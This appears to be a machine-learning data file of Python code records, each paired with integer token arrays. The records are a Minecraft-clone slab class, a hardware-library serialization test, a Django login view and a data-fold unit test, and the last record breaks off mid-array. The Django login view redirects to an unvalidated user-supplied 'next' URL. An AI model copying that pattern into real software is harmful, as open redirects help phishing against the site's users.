29901,
396,
322,
1423,
29918,
913,
29898,
19290,
1839,
5679,
29918,
2084,
2033,
1125,
13,
4706,
9049,
5085,
1839,
2080,
29918,
2084,
2033,
353,
9049,
5085,
1839,
5679,
29918,
2084,
2033,
13,
4706,
396,
318,
645,
29918,
1807,
29901,
318,
645,
610,
29879,
267,
934,
29898,
29879,
29897,
1303,
408,
263,
1347,
411,
11297,
29876,
29915,
628,
326,
1573,
3454,
13,
4706,
318,
645,
29918,
1807,
29892,
337,
29918,
353,
1303,
29918,
5325,
29898,
1068,
19290,
29897,
13,
4706,
396,
14402,
29901,
337,
29889,
5504,
29898,
276,
19925,
29871,
396,
14402,
29901,
12439,
2143,
847,
1243,
6166,
29991,
13,
4706,
396,
25260,
29901,
5519,
710,
29892,
851,
29892,
2023,
1402,
2023,
1385,
2243,
29901,
10541,
2988,
29901,
17288,
29896,
29892,
29871,
29906,
29892,
29871,
29896,
29889,
29900,
511,
2023,
29962,
13,
4706,
25260,
29892,
2243,
19363,
29892,
337,
29918,
353,
6088,
29918,
913,
29898,
913,
29918,
1807,
29892,
3579,
19290,
29897,
13,
4706,
337,
29889,
5504,
4197,
877,
5679,
29918,
18616,
2063,
742,
7431,
29898,
29879,
4965,
876,
2314,
13,
4706,
396,
14402,
29901,
337,
29889,
5504,
29898,
276,
19925,
13,
4706,
2143,
29918,
842,
353,
731,
4197,
23583,
4197,
29875,
29974,
29896,
29892,
301,
29961,
29900,
1402,
301,
29961,
29896,
24960,
13,
462,
539,
363,
474,
29892,
2243,
297,
26985,
29898,
29879,
4965,
29897,
363,
301,
297,
2243,
2314,
13,
1678,
1683,
29901,
736,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
11117,
2704,
2396,
525,
15866,
549,
9049,
5085,
3366,
5679,
29918,
2084,
3108,
742,
13,
462,
462,
525,
5679,
29918,
2084,
2396,
9049,
5085,
1839,
5679,
29918,
2084,
2033,
29913,
13,
13,
1678,
396,
3617,
2988,
363,
278,
1243,
29918,
913,
2047,
2143,
29918,
842,
29901,
731,
310,
2988,
297,
3407,
934,
13,
1678,
565,
525,
1688,
29918,
2084,
29915,
297,
9049,
5085,
322,
1423,
29918,
913,
29898,
19290,
1839,
1688,
29918,
2084,
2033,
1125,
13,
4706,
9049,
5085,
1839,
2080,
29918,
2084,
2033,
353,
9049,
5085,
1839,
1688,
29918,
2084,
2033,
13,
4706,
318,
645,
29918,
1807,
29892,
337,
29918,
353,
1303,
29918,
5325,
29898,
1068,
19290,
29897,
13,
4706,
396,
14402,
29901,
337,
29889,
5504,
29898,
276,
19925,
13,
4706,
25260,
29892,
2243,
19363,
29892,
337,
29918,
353,
6088,
29918,
913,
29898,
913,
29918,
1807,
29892,
3579,
19290,
29897,
13,
4706,
337,
29889,
5504,
4197,
877,
1688,
29918,
913,
29918,
18616,
2063,
742,
7431,
29898,
29879,
4965,
876,
2314,
13,
4706,
396,
14402,
29901,
337,
29889,
5504,
29898,
276,
19925,
13,
4706,
260,
303,
29918,
842,
353,
731,
4197,
23583,
4197,
29875,
29974,
29896,
29892,
301,
29961,
29900,
1402,
301,
29961,
29896,
24960,
13,
462,
539,
363,
474,
29892,
2243,
297,
26985,
29898,
29879,
4965,
29897,
363,
301,
297,
2243,
2314,
13,
1678,
1683,
29901,
736,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
11117,
2704,
2396,
525,
15866,
549,
9049,
5085,
3366,
1688,
29918,
2084,
3108,
742,
13,
462,
462,
525,
1688,
29918,
2084,
2396,
9049,
5085,
1839,
1688,
29918,
2084,
2033,
29913,
13,
13,
1678,
1565,
29918,
1066,
277,
3145,
353,
260,
303,
29918,
842,
669,
2143,
29918,
842,
13,
1678,
16716,
353,
7431,
29898,
3009,
29918,
1066,
277,
3145,
29897,
847,
7431,
29898,
29873,
303,
29918,
842,
29897,
13,
1678,
17386,
353,
7431,
29898,
3009,
29918,
1066,
277,
3145,
29897,
847,
7431,
29898,
999,
29918,
842,
29897,
13,
1678,
285,
29896,
353,
29871,
29906,
334,
16716,
334,
17386,
847,
313,
17990,
2459,
718,
17386,
29897,
13,
1678,
337,
29889,
5504,
4197,
877,
17990,
2459,
742,
16716,
511,
6702,
3757,
497,
742,
17386,
511,
6702,
29943,
29896,
742,
285,
29896,
29897,
2314,
13,
1678,
396,
11654,
487,
21634,
1881,
29918,
2084,
13,
1678,
565,
525,
2080,
29918,
2084,
29915,
2804,
525,
2396,
9049,
5085,
1839,
2080,
29918,
2084,
2033,
353,
1881,
29918,
2084,
13,
13,
1678,
736,
16716,
29892,
17386,
29892,
285,
29896,
29892,
337,
13,
2
] |
mcpython/common/block/ISlab.py | mcpython4-coding/core | 2 | 2724 | <filename>mcpython/common/block/ISlab.py
"""
mcpython - a minecraft clone written in python licenced under the MIT-licence
(https://github.com/mcpython4-coding/core)
Contributors: uuk, xkcdjerry (inactive)
Based on the game of fogleman (https://github.com/fogleman/Minecraft), licenced under the MIT-licence
Original game "minecraft" by Mojang Studios (www.minecraft.net), licenced under the EULA
(https://account.mojang.com/documents/minecraft_eula)
Mod loader inspired by "Minecraft Forge" (https://github.com/MinecraftForge/MinecraftForge) and similar
This project is not official by mojang and does not relate to it.
"""
import mcpython.common.block.AbstractBlock
import mcpython.engine.physics.AxisAlignedBoundingBox
import mcpython.util.enums
from mcpython.util.enums import SlabModes
BBOX_DICT = {
SlabModes.TOP: mcpython.engine.physics.AxisAlignedBoundingBox.AxisAlignedBoundingBox(
(1, 0.5, 1), (0, 0.5, 0)
),
SlabModes.BOTTOM: mcpython.engine.physics.AxisAlignedBoundingBox.AxisAlignedBoundingBox(
(1, 0.5, 1)
),
SlabModes.DOUBLE: mcpython.engine.physics.AxisAlignedBoundingBox.FULL_BLOCK_BOUNDING_BOX,
}
class ISlab(mcpython.common.block.AbstractBlock.AbstractBlock):
"""
Base class for slabs
"""
IS_SOLID = False
DEFAULT_FACE_SOLID = 0
def __init__(self):
super().__init__()
self.type = SlabModes.TOP
async def on_block_added(self):
if self.real_hit and self.real_hit[1] - self.position[1] > 0:
self.type = SlabModes.TOP
else:
self.type = SlabModes.BOTTOM
await self.schedule_network_update()
def get_model_state(self):
return {"type": self.type.name.lower()}
def set_model_state(self, state: dict):
if "type" in state:
self.type = SlabModes[state["type"].upper()]
DEBUG_WORLD_BLOCK_STATES = [{"type": x.name.upper()} for x in SlabModes]
async def on_player_interact(
self, player, itemstack, button, modifiers, exact_hit
) -> bool:
# todo: add half -> double convert
return False
def get_view_bbox(self):
return BBOX_DICT[self.type]
| [
1,
529,
9507,
29958,
14047,
4691,
29914,
9435,
29914,
1271,
29914,
3235,
8205,
29889,
2272,
13,
15945,
29908,
13,
14047,
4691,
448,
263,
7903,
17293,
17432,
3971,
297,
3017,
7794,
9223,
1090,
278,
341,
1806,
29899,
506,
663,
29871,
13,
29898,
991,
597,
3292,
29889,
510,
29914,
14047,
4691,
29946,
29899,
29883,
3689,
29914,
3221,
29897,
13,
13,
1323,
1091,
29560,
29901,
318,
2679,
29892,
921,
29895,
2252,
6846,
719,
313,
262,
4925,
29897,
13,
13,
29933,
1463,
373,
278,
3748,
310,
285,
1882,
1171,
313,
991,
597,
3292,
29889,
510,
29914,
29888,
1882,
1171,
29914,
29924,
457,
17293,
511,
7794,
9223,
1090,
278,
341,
1806,
29899,
506,
663,
13,
26036,
3748,
376,
24669,
17293,
29908,
491,
341,
3848,
574,
23268,
313,
1636,
29889,
24669,
17293,
29889,
1212,
511,
7794,
9223,
1090,
278,
19007,
4375,
13,
29898,
991,
597,
10149,
29889,
29885,
3848,
574,
29889,
510,
29914,
3225,
29879,
29914,
24669,
17293,
29918,
29872,
2497,
29897,
13,
2111,
23466,
20603,
491,
376,
29924,
457,
17293,
1152,
479,
29908,
313,
991,
597,
3292,
29889,
510,
29914,
29924,
457,
17293,
2831,
479,
29914,
29924,
457,
17293,
2831,
479,
29897,
322,
2788,
13,
13,
4013,
2060,
338,
451,
6221,
491,
2730,
29926,
574,
322,
947,
451,
29279,
304,
372,
29889,
13,
15945,
29908,
13,
5215,
286,
29883,
4691,
29889,
9435,
29889,
1271,
29889,
9118,
7445,
13,
5215,
286,
29883,
4691,
29889,
10599,
29889,
25105,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
13,
5215,
286,
29883,
4691,
29889,
4422,
29889,
264,
6762,
13,
3166,
286,
29883,
4691,
29889,
4422,
29889,
264,
6762,
1053,
317,
8205,
2111,
267,
13,
13,
29933,
8456,
29990,
29918,
4571,
1783,
353,
426,
13,
1678,
317,
8205,
2111,
267,
29889,
29911,
4590,
29901,
286,
29883,
4691,
29889,
10599,
29889,
25105,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
29898,
13,
4706,
313,
29896,
29892,
29871,
29900,
29889,
29945,
29892,
29871,
29896,
511,
313,
29900,
29892,
29871,
29900,
29889,
29945,
29892,
29871,
29900,
29897,
13,
1678,
10353,
13,
1678,
317,
8205,
2111,
267,
29889,
29933,
2891,
4986,
29924,
29901,
286,
29883,
4691,
29889,
10599,
29889,
25105,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
29898,
13,
4706,
313,
29896,
29892,
29871,
29900,
29889,
29945,
29892,
29871,
29896,
29897,
13,
1678,
10353,
13,
1678,
317,
8205,
2111,
267,
29889,
3970,
7466,
1307,
29901,
286,
29883,
4691,
29889,
10599,
29889,
25105,
29889,
16070,
2499,
12961,
29933,
12449,
3313,
29889,
29943,
3299,
29918,
29933,
21339,
29918,
8456,
18783,
4214,
29918,
8456,
29990,
29892,
13,
29913,
13,
13,
13,
1990,
8519,
8205,
29898,
14047,
4691,
29889,
9435,
29889,
1271,
29889,
9118,
7445,
29889,
9118,
7445,
1125,
13,
1678,
9995,
13,
1678,
7399,
770,
363,
2243,
6897,
13,
1678,
9995,
13,
13,
1678,
8519,
29918,
29903,
5607,
1367,
353,
7700,
13,
1678,
22236,
29918,
29943,
11538,
29918,
29903,
5607,
1367,
353,
29871,
29900,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
1853,
353,
317,
8205,
2111,
267,
29889,
29911,
4590,
13,
13,
1678,
7465,
822,
373,
29918,
1271,
29918,
23959,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
6370,
29918,
27342,
322,
1583,
29889,
6370,
29918,
27342,
29961,
29896,
29962,
448,
1583,
29889,
3283,
29961,
29896,
29962,
1405,
29871,
29900,
29901,
13,
9651,
1583,
29889,
1853,
353,
317,
8205,
2111,
267,
29889,
29911,
4590,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
1853,
353,
317,
8205,
2111,
267,
29889,
29933,
2891,
4986,
29924,
13,
4706,
7272,
1583,
29889,
816,
11272,
29918,
11618,
29918,
5504,
580,
13,
13,
1678,
822,
679,
29918,
4299,
29918,
3859,
29898,
1311,
1125,
13,
4706,
736,
8853,
1853,
1115,
1583,
29889,
1853,
29889,
978,
29889,
13609,
28296,
13,
13,
1678,
822,
731,
29918,
4299,
29918,
3859,
29898,
1311,
29892,
2106,
29901,
9657,
1125,
13,
4706,
565,
376,
1853,
29908,
297,
2106,
29901,
13,
9651,
1583,
29889,
1853,
353,
317,
8205,
2111,
267,
29961,
3859,
3366,
1853,
16862,
21064,
580,
29962,
13,
13,
1678,
21681,
29918,
11686,
10249,
29918,
29933,
21339,
29918,
17816,
2890,
353,
518,
6377,
1853,
1115,
921,
29889,
978,
29889,
21064,
28296,
363,
921,
297,
317,
8205,
2111,
267,
29962,
13,
13,
1678,
7465,
822,
373,
29918,
9106,
29918,
1639,
627,
29898,
13,
4706,
1583,
29892,
4847,
29892,
2944,
1429,
29892,
2826,
29892,
878,
14903,
29892,
2684,
29918,
27342,
13,
1678,
1723,
1599,
6120,
29901,
13,
4706,
396,
10481,
29901,
788,
4203,
1599,
3765,
3588,
13,
4706,
736,
7700,
13,
13,
1678,
822,
679,
29918,
1493,
29918,
29890,
1884,
29898,
1311,
1125,
13,
4706,
736,
350,
8456,
29990,
29918,
4571,
1783,
29961,
1311,
29889,
1853,
29962,
13,
2
] |
hwtLib/tests/serialization/tmpVar_test.py | optical-o/hwtLib | 0 | 164100 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from hwt.code import connect
from hwt.interfaces.std import VectSignal
from hwt.synthesizer.unit import Unit
from hwtLib.examples.base_serialization_TC import BaseSerializationTC
class TmpVarExample(Unit):
def _declr(self):
self.a = VectSignal(32)
self.b = VectSignal(32)._m()
def _impl(self):
a = self.a[8:] + 4
connect(a[4:], self.b, fit=True)
class Serializer_tmpVar_TC(BaseSerializationTC):
__FILE__ = __file__
def test_add_to_slice_vhdl(self):
self.assert_serializes_as_file(TmpVarExample(), "TmpVarExample.vhd")
if __name__ == '__main__':
import unittest
suite = unittest.TestSuite()
# suite.addTest(RdSyncedPipe('test_basic_data_pass'))
suite.addTest(unittest.makeSuite(Serializer_tmpVar_TC))
runner = unittest.TextTestRunner(verbosity=3)
runner.run(suite)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
298,
14554,
29889,
401,
1053,
4511,
13,
3166,
298,
14554,
29889,
1639,
8726,
29889,
4172,
1053,
478,
522,
10140,
284,
13,
3166,
298,
14554,
29889,
19274,
26041,
3950,
29889,
5441,
1053,
13223,
13,
3166,
298,
14554,
14868,
29889,
19057,
29889,
3188,
29918,
15550,
2133,
29918,
9472,
1053,
7399,
9125,
2133,
9472,
13,
13,
13,
1990,
323,
1526,
9037,
14023,
29898,
8325,
1125,
13,
1678,
822,
903,
27787,
29878,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29874,
353,
478,
522,
10140,
284,
29898,
29941,
29906,
29897,
13,
4706,
1583,
29889,
29890,
353,
478,
522,
10140,
284,
29898,
29941,
29906,
467,
29918,
29885,
580,
13,
13,
1678,
822,
903,
13699,
29898,
1311,
1125,
13,
4706,
263,
353,
1583,
29889,
29874,
29961,
29947,
17531,
718,
29871,
29946,
13,
4706,
4511,
29898,
29874,
29961,
29946,
29901,
1402,
1583,
29889,
29890,
29892,
6216,
29922,
5574,
29897,
13,
13,
13,
1990,
18896,
3950,
29918,
7050,
9037,
29918,
9472,
29898,
5160,
9125,
2133,
9472,
1125,
13,
1678,
4770,
7724,
1649,
353,
4770,
1445,
1649,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
517,
29918,
18337,
29918,
29894,
29882,
11671,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
15550,
7093,
29918,
294,
29918,
1445,
29898,
29911,
1526,
9037,
14023,
3285,
376,
29911,
1526,
9037,
14023,
29889,
29894,
16440,
1159,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1053,
443,
27958,
13,
13,
1678,
9460,
353,
443,
27958,
29889,
3057,
5091,
568,
580,
13,
1678,
396,
9460,
29889,
1202,
3057,
29898,
29934,
29881,
29216,
1133,
12197,
412,
877,
1688,
29918,
16121,
29918,
1272,
29918,
3364,
8785,
13,
1678,
9460,
29889,
1202,
3057,
29898,
348,
27958,
29889,
5675,
5091,
568,
29898,
17679,
29918,
7050,
9037,
29918,
9472,
876,
13,
1678,
28877,
353,
443,
27958,
29889,
1626,
3057,
16802,
29898,
18248,
359,
537,
29922,
29941,
29897,
13,
1678,
28877,
29889,
3389,
29898,
13495,
29897,
13,
2
] |
app/appauth/views.py | twatchy/cito_engine | 0 | 1603598 | """Copyright 2014 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from django.contrib.auth import authenticate, login, logout
from django.shortcuts import render_to_response, redirect
from django.template import RequestContext
from ipware.ip import get_ip
from appauth.models import Perms
import logging
auth_logger = logging.getLogger('auth_logger')
def check_and_create_perms(user):
try:
Perms.objects.get(user=user)
except Perms.DoesNotExist:
# If its a django superuser
if user.is_superuser:
Perms.objects.create(user=user, access_level=1).save()
#else we make it a reportuser
else:
Perms.objects.create(user=user, access_level=3).save()
return True
def login_user(request):
state = ''
username = ''
password = ''
redirect_to = request.REQUEST.get('next')
ip = get_ip(request)
if request.POST:
username = request.POST.get('username')
password = request.POST.get('password')
redirect_to = request.POST.get('redirect_to')
user = authenticate(username=username, password=password)
if user is not None:
auth_logger.info('User:%s logged in from %s' % (username, ip))
if user.is_active:
login(request, user)
check_and_create_perms(user)
if user.perms.access_level == 5:
return redirect(redirect_to or '/reports/')
else:
return redirect(redirect_to or '/incidents/')
else:
state = "Your account is inactive, please contact the administrator."
else:
auth_logger.info('Failed login attempt from user:%s from %s' % (username, ip))
state = "Username/Password incorrect"
return render_to_response('login.html',
{'state': state, 'username': username, 'redirect_to': redirect_to},
context_instance=RequestContext(request))
def logout_user(request):
logout(request)
ip = get_ip(request)
auth_logger.info('User:%s logged out from %s' % (request.user.username, ip))
return render_to_response('logout.html', context_instance=RequestContext(request))
| [
1,
9995,
11882,
1266,
29871,
29906,
29900,
29896,
29946,
529,
5813,
29958,
13,
13,
29931,
293,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
6293,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
3492,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
13,
1124,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
13,
2525,
2222,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
5721,
7541,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29956,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
13393,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
13400,
800,
1090,
278,
19245,
29889,
13,
15945,
29908,
13,
13,
3166,
9557,
29889,
21570,
29889,
5150,
1053,
15585,
403,
29892,
6464,
29892,
1480,
449,
13,
3166,
9557,
29889,
12759,
7582,
29879,
1053,
4050,
29918,
517,
29918,
5327,
29892,
6684,
13,
3166,
9557,
29889,
6886,
1053,
10729,
2677,
13,
3166,
10377,
2519,
29889,
666,
1053,
679,
29918,
666,
13,
3166,
623,
5150,
29889,
9794,
1053,
20894,
29879,
13,
5215,
12183,
13,
5150,
29918,
21707,
353,
12183,
29889,
657,
16363,
877,
5150,
29918,
21707,
1495,
13,
13,
13,
1753,
1423,
29918,
392,
29918,
3258,
29918,
546,
1516,
29898,
1792,
1125,
13,
1678,
1018,
29901,
13,
4706,
20894,
29879,
29889,
12650,
29889,
657,
29898,
1792,
29922,
1792,
29897,
13,
1678,
5174,
20894,
29879,
29889,
25125,
3664,
1252,
391,
29901,
13,
4706,
396,
960,
967,
263,
9557,
2428,
1792,
13,
4706,
565,
1404,
29889,
275,
29918,
9136,
1792,
29901,
13,
9651,
20894,
29879,
29889,
12650,
29889,
3258,
29898,
1792,
29922,
1792,
29892,
2130,
29918,
5563,
29922,
29896,
467,
7620,
580,
13,
4706,
396,
2870,
591,
1207,
372,
263,
3461,
1792,
13,
4706,
1683,
29901,
13,
9651,
20894,
29879,
29889,
12650,
29889,
3258,
29898,
1792,
29922,
1792,
29892,
2130,
29918,
5563,
29922,
29941,
467,
7620,
580,
13,
1678,
736,
5852,
13,
13,
13,
1753,
6464,
29918,
1792,
29898,
3827,
1125,
13,
1678,
2106,
353,
6629,
13,
1678,
8952,
353,
6629,
13,
1678,
4800,
353,
6629,
13,
1678,
6684,
29918,
517,
353,
2009,
29889,
16244,
29889,
657,
877,
4622,
1495,
13,
1678,
10377,
353,
679,
29918,
666,
29898,
3827,
29897,
13,
1678,
565,
2009,
29889,
5438,
29901,
13,
4706,
8952,
353,
2009,
29889,
5438,
29889,
657,
877,
6786,
1495,
13,
4706,
4800,
353,
2009,
29889,
5438,
29889,
657,
877,
5630,
1495,
13,
4706,
6684,
29918,
517,
353,
2009,
29889,
5438,
29889,
657,
877,
17886,
29918,
517,
1495,
13,
4706,
1404,
353,
15585,
403,
29898,
6786,
29922,
6786,
29892,
4800,
29922,
5630,
29897,
13,
4706,
565,
1404,
338,
451,
6213,
29901,
13,
9651,
4817,
29918,
21707,
29889,
3888,
877,
2659,
16664,
29879,
13817,
297,
515,
1273,
29879,
29915,
1273,
313,
6786,
29892,
10377,
876,
13,
9651,
565,
1404,
29889,
275,
29918,
4925,
29901,
13,
18884,
6464,
29898,
3827,
29892,
1404,
29897,
13,
18884,
1423,
29918,
392,
29918,
3258,
29918,
546,
1516,
29898,
1792,
29897,
13,
18884,
565,
1404,
29889,
546,
1516,
29889,
5943,
29918,
5563,
1275,
29871,
29945,
29901,
13,
462,
1678,
736,
6684,
29898,
17886,
29918,
517,
470,
8207,
276,
4011,
29914,
1495,
13,
18884,
1683,
29901,
13,
462,
1678,
736,
6684,
29898,
17886,
29918,
517,
470,
8207,
3742,
16719,
29914,
1495,
13,
9651,
1683,
29901,
13,
18884,
2106,
353,
376,
10858,
3633,
338,
297,
4925,
29892,
3113,
6958,
278,
27443,
1213,
13,
4706,
1683,
29901,
13,
9651,
4817,
29918,
21707,
29889,
3888,
877,
17776,
6464,
4218,
515,
1404,
16664,
29879,
515,
1273,
29879,
29915,
1273,
313,
6786,
29892,
10377,
876,
13,
9651,
2106,
353,
376,
20249,
29914,
10048,
10240,
29908,
13,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
877,
7507,
29889,
1420,
742,
13,
462,
795,
11117,
3859,
2396,
2106,
29892,
525,
6786,
2396,
8952,
29892,
525,
17886,
29918,
517,
2396,
6684,
29918,
517,
1118,
13,
462,
795,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
3827,
876,
13,
13,
13,
1753,
1480,
449,
29918,
1792,
29898,
3827,
1125,
13,
1678,
1480,
449,
29898,
3827,
29897,
13,
1678,
10377,
353,
679,
29918,
666,
29898,
3827,
29897,
13,
1678,
4817,
29918,
21707,
29889,
3888,
877,
2659,
16664,
29879,
13817,
714,
515,
1273,
29879,
29915,
1273,
313,
3827,
29889,
1792,
29889,
6786,
29892,
10377,
876,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
877,
1188,
449,
29889,
1420,
742,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
3827,
876,
13,
2
] |
tests/test_fold.py | hawkfish/textform | 4 | 57743 | <gh_stars>1-10
import unittest
from context import *
class TestFold(unittest.TestCase):
def assert_fold(self, nfolded=2, ngroups=1, nkeys=1, nrows=1):
folded = tuple([f"Fold {f+1}" for f in range(nfolded*ngroups)])
keys = [f"Key {k+1}" for k in range(nkeys)]
inputs = [k for k in keys]
inputs.extend(folded)
values = [f"k{k}" for k in range(nkeys)]
values.extend([f for f in range(nfolded*ngroups)])
outputs = ['Tags',]
outputs.extend([f'Group {g+1}' for g in range(ngroups)])
rowid = 'Row'
s = txf.Sequence(None, rowid)
s = txf.Limit(s, nrows)
s = txf.Add(s, inputs, values)
t = txf.Fold(s, folded, outputs)
self.assertEqual('fold', t.name, )
self.assertEqual(s, t.source)
self.assertEqual(folded, t.inputs)
self.assertEqual(tuple(outputs), t.outputs)
self.assertEqual(outputs[0], t.tag)
self.assertEqual(tuple(outputs[1:]), t.folds)
self.assertTrue(t.tag in t.schema)
self.assertEqual(str, t.getSchemaType(t.tag))
for f, fold in enumerate(t.folds):
self.assertTrue(fold in t.schema)
for input in t.inputs[f*ngroups:(f+1)*ngroups]:
self.assertFalse(input in t.schema)
self.assertEqual(s.schema[input], t.schema[fold])
actual = 0
for row in t:
# Check the row id
self.assertTrue(rowid in row)
self.assertEqual(actual // nfolded, row[rowid])
# Check the keys
for k, key in enumerate(keys):
self.assertTrue(key in row)
self.assertEqual(values[k], row[key])
# Check the tags
rowno = actual % nfolded
self.assertTrue(t.tag in row)
self.assertEqual(t.tags[rowno], row[t.tag])
# Check folds
for f, fold in enumerate(t.folds):
self.assertTrue(fold in row)
self.assertEqual(values[nkeys + f * nfolded + rowno], row[fold])
actual += 1
self.assertEqual(nfolded * nrows, actual)
return t
def test_fold_two_to_one(self):
self.assert_fold()
def test_fold_three_to_one(self):
self.assert_fold(3)
def test_fold_four_to_two(self):
self.assert_fold(4, 2)
def test_fold_four_to_two_twice(self):
self.assert_fold(4, 2, 2)
def test_root(self):
self.assertRaises(txf.TransformException, txf.Fold, None, ('F1', 'F2'), ('Tag', 'F',))
def test_missing(self):
s = txf.Add(None, 'Target', 1)
self.assertRaises(txf.TransformException, txf.Fold, s, ('F1', 'F2'), ('Tag', 'F',))
def assert_invalid(self, ninputs, noutputs, ntags=None):
values = [i for i in range(ninputs)]
inputs = [f"F{i}" for i in range(ninputs)]
outputs = [f"O{i}" for i in range(noutputs)]
tags = [f"T{i}" for i in range(ntags)] if ntags is not None else None
s = txf.Add(None, inputs, values)
self.assertRaises(txf.TransformException, txf.Fold, s, inputs, outputs, tags)
def test_no_output(self):
self.assert_invalid(2, 0)
def test_only_tag(self):
self.assert_invalid(2, 1)
def test_not_enough_inputs(self):
self.assert_invalid(1, 3)
def test_ragged(self):
self.assert_invalid(7, 4)
def test_bad_tag_count(self):
self.assert_invalid(4, 2, 3)
def test_voila_6(self):
csv = ["#BLENDs,#Queries,Min,Q25,Median,Q75,Max",
"5,1,7.22,7.22,7.22,7.22,7.22",
"6,11,3.87,6.54,8.03,9.86,17.85",
"7,85,5.18,7.20,8.16,10.14,311.77",
"8,449,4.81,8.30,10.06,13.32,353.42",
"9,1511,4.70,9.05,10.98,15.51,318.32",
"10,9216,3.90,9.75,12.19,17.21,347.92",
]
p = txf.Read(csv)
p = txf.Cast(p, '#BLENDs', int)
p = txf.Cast(p, '#Queries', int)
unfolded = ['Min', 'Q25' ,'Median' ,'Q75' ,'Max',]
folded = ['Quantile', 'Value',]
p = txf.Fold(p, unfolded, folded)
self.assertEqual(['#BLENDs','#Queries', ], p.fixed)
actual = 0
for row in p:
self.assertTrue('#BLENDs' in row, row)
self.assertEqual(5 + actual // len(unfolded), row['#BLENDs'], actual)
actual += 1
self.assertEqual((len(csv) - 1) * len(unfolded), actual)
def test_drop_tags(self):
s = None
s = txf.Sequence(s, 'Fold 1')
s = txf.Sequence(s, 'Fold 2')
s = txf.Limit(s, 4)
s = txf.Fold(s, ('Fold 1', 'Fold 2',), ('Tags', 'Group',))
s = txf.Drop(s, 'Tags')
s.pump()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
443,
27958,
13,
3166,
3030,
1053,
334,
13,
13,
1990,
4321,
29943,
1025,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
4974,
29918,
8771,
29898,
1311,
29892,
302,
8771,
287,
29922,
29906,
29892,
302,
13155,
29922,
29896,
29892,
302,
8149,
29922,
29896,
29892,
302,
5727,
29922,
29896,
1125,
13,
4706,
900,
7176,
353,
18761,
4197,
29888,
29908,
29943,
1025,
426,
29888,
29974,
29896,
5038,
363,
285,
297,
3464,
29898,
29876,
8771,
287,
29930,
29876,
13155,
29897,
2314,
13,
4706,
6611,
353,
518,
29888,
29908,
2558,
426,
29895,
29974,
29896,
5038,
363,
413,
297,
3464,
29898,
29876,
8149,
4638,
13,
4706,
10970,
353,
518,
29895,
363,
413,
297,
6611,
29962,
13,
4706,
10970,
29889,
21843,
29898,
8771,
287,
29897,
13,
13,
4706,
1819,
353,
518,
29888,
29908,
29895,
29912,
29895,
5038,
363,
413,
297,
3464,
29898,
29876,
8149,
4638,
13,
4706,
1819,
29889,
21843,
4197,
29888,
363,
285,
297,
3464,
29898,
29876,
8771,
287,
29930,
29876,
13155,
29897,
2314,
13,
13,
4706,
14391,
353,
6024,
28089,
742,
29962,
13,
4706,
14391,
29889,
21843,
4197,
29888,
29915,
4782,
426,
29887,
29974,
29896,
10162,
363,
330,
297,
3464,
29898,
29876,
13155,
29897,
2314,
13,
13,
4706,
1948,
333,
353,
525,
4301,
29915,
13,
4706,
269,
353,
260,
24660,
29889,
20529,
29898,
8516,
29892,
1948,
333,
29897,
13,
4706,
269,
353,
260,
24660,
29889,
24445,
29898,
29879,
29892,
302,
5727,
29897,
13,
4706,
269,
353,
260,
24660,
29889,
2528,
29898,
29879,
29892,
10970,
29892,
1819,
29897,
13,
4706,
260,
353,
260,
24660,
29889,
29943,
1025,
29898,
29879,
29892,
900,
7176,
29892,
14391,
29897,
13,
13,
4706,
1583,
29889,
9294,
9843,
877,
8771,
742,
260,
29889,
978,
29892,
1723,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29879,
29892,
260,
29889,
4993,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
8771,
287,
29892,
260,
29889,
2080,
29879,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
23583,
29898,
4905,
29879,
511,
260,
29889,
4905,
29879,
29897,
